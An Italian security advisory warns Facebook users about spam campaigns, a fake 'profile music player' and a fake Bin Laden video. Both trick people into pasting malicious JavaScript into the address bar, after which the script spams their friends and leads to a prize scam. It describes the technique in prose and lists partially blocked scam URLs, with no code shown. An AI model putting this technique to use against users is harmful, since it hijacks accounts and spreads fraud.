Recentemente sono stati individuati dei messaggi che circolano in chat e post sulle bacheche di Facebook che promuovono una presunta nuova funzionalità di lettore musicale. Di seguito è riportato uno screenshot di messaggi simili che si possono trovare:

Lo script utilizzato in questo spam è rilevato da Trend Micro come JS_FBJACK.B. Analogamente agli altri attacchi spam precedentemente segnalati su Facebook spam, una volta che gli utenti cliccano sul link, vengono reindirizzati a un sito che invita loro ad eseguire diversi passaggi (Javasticking). Il primo dei quali è quello di copiare un particolare frammento di codice nella loro barra degli indirizzi del browser, che ricorda il famoso attacco spam che aveva come oggetto Bin Laden

Una volta fatto, lo script maligno accede all'elenco amici dell'utente Facebook interessato Da questo elenco, crea post bacheca e invia messaggi di chat ai contatti di Facebook. Il messaggio letto: “FaceBook finally added a profile music player! I’ve been wanting one of these forever! [LINK]“ ("Facebook ha aggiunto infine un lettore profilo musicale! Ho sempre voluto uno di questo per sempre!“). Alcuni dei post contengono i seguenti link:

• http://{BLOCCATO}ures.webs.com/profilemusicplayer.htm
• http://{BLOCCATO}okfeatures.webs.com
• http://{BLOCCATO}ures7.webs.com/aboutme.htm
• http://{BLOCCATO}cplayer.webs.com
• http://{BLOCCATO}ilemusic.webs.com

Tutti i link di cui sopra attualmente reindirizzano ad un singolo URL, un sito truffa che racconta agli utenti interessati di aver vinto un premio certo. Il sito poi chiede loro di fornire informazioni personali.

Gli spammer sfruttano la debolezza dei browser web e la curiosità dell'utente chiedendo alle persone di copiare e incollare il codice maligno nella barra degli indirizzi, facendo intraprendere al profilo azioni a nome di quelle persone, compresa la pubblicazione di aggiornamenti di stato con link fasullo e l'invio di messaggi di spam a tutti gli amici. Facebook ha lavorato per migliorare i propri sistemi in grado di rilevare e bloccare questi tipi di attacchi, come pure educare la gente su ciò che sta causando l'invio di spam dal loro account, ma ancora non è stato possibile bloccare queste azioni. Dunque tocca all'utente non cadere in queste trappole di social engineering (ingegneria sociale). Non utilizzate codici JavaScript loggati su Facebook e prestate attenzione ai link inviati dai vostri amici.

Java Badware Facebook su pagine che promettono falsi video Bin Laden

Teniamo a precisare che non sta girando un vero e proprio virus su Facebook (nel più stretto significato del termine), si tratta semplicemente di codice javascript che gli utenti più sprovveduti copiano/incollano sulla barra degli indirizzi del proprio browser, secondo le istruzioni riportate in sedicenti pagine che promettono la visualizzazione d'un presunto video sulla morte di Bin Laden, in maniera tale da far eseguire delle azioni automatiche al profilo vittima, che invierà un messaggio in chat e post un link sulle bacheche dei propri contatti. Da qui la definizione di 'infezione', anche se capiamo che per molti il termine 'virus' possa rafforzare il significato di pericolo e dunque tenere più guardinghi gli iscritti al social network. Inoltre, abbiamo notato che proprio coloro che usano questo termine non spiegano (per mancanza di conoscenze tecniche specifiche o per pigrizia) come avviene il presunto 'contagio', dunque diminuendo sensibilmente la capacità di difendersi da questo tipo di attacco.

Diciamo altresì che anche gli utenti dovrebbero prestare maggior attenzione, senza per forza attendere questi avvisi, dato che le tecniche con cui avvengono questo tipo di infezione utilizzano sempre le medesime metodologie. Stiamo parlando, come già riportato all'inizio del post, dell'uso del javabadware cioè di javascript finalizzato all'esecuzione di procedure automatizzate sul proprio profilo Facebook. Una delle ultime pagine fraudolente che Protezione Account ha individuato (ma ne esistono a centinaia) s'intitola "registrazione morte Bin  Laden". Come abbiamo già ripetuto in altre occassioni, viene proposto all'utente un link "imperdibile":

Se clicchiamo sul link incluso nel post verremo rimandati ad una pagina interna al social network, dove verremo invitati ad eseguire delle procedure utilizzando i tasti CTRL+C e V per effettuare un copia/incolla del codice nascosto.

Tramite alcune istruzioni in javascript, residenti su server esterni, è possibile automatizzare alcune operazioni come se fossero eseguite direttamente dal vostro profilo: invio di messaggi in posta e chat, Like a pagine e applicazioni, aggiunta di tag ad amici, pubblicazione di post sulle proprie bacheche e su quelle degli amici, creazione di eventi, ecc. Attivando tali procedure, viene richiesto un periodo di attesa, durante il quale la pagina invia le informazioni al server da cui vengono eseguite le "istruzioni" automatiche a nome vostro, come se foste voi a farle dalla vostra tastiera. Il codice presente in questa pagina porta ad uno script maligno rilevato da Future Web Net come Troy_JB_Obfus_Osama.A. Questo file passa in rassegna tutti i contatti dell’utente inviando loro messaggi di chat e post.

Questo vuol dire che il link al video viene immediatamente postato sul suo profilo Facebook e fa da esca per gli altri iscritti a Facebook ignari della truffa. Il video è quindi oggetto di spam in messaggi di chat personalizzati dell’utente 'vittima'. Si tratta di ingegneria sociale, come nella maggior parte delle truffe che vengono diffuse su Facebook, grazie alla fondamentale ed attiva collaborazione degli utenti più curiosi. Gli javascript utilizzati sono codici reperibili liberamente in Rete: al malintenzionato basta sostituire l'indirizzo IP del server ed altri parametri per la truffa ed il gioco è fatto. Il sistema è sempre lo stesso, cambia solo il nome dello spam. Fino a quando Facebook non chiuderà questa falla nella piattaforma, vi inviatiamo a non esguire alcun codice javascript e a non cliccare su link ricevuti sulla bacheca del proprio profilo o in chat e di avvertire quanti più amici possibili.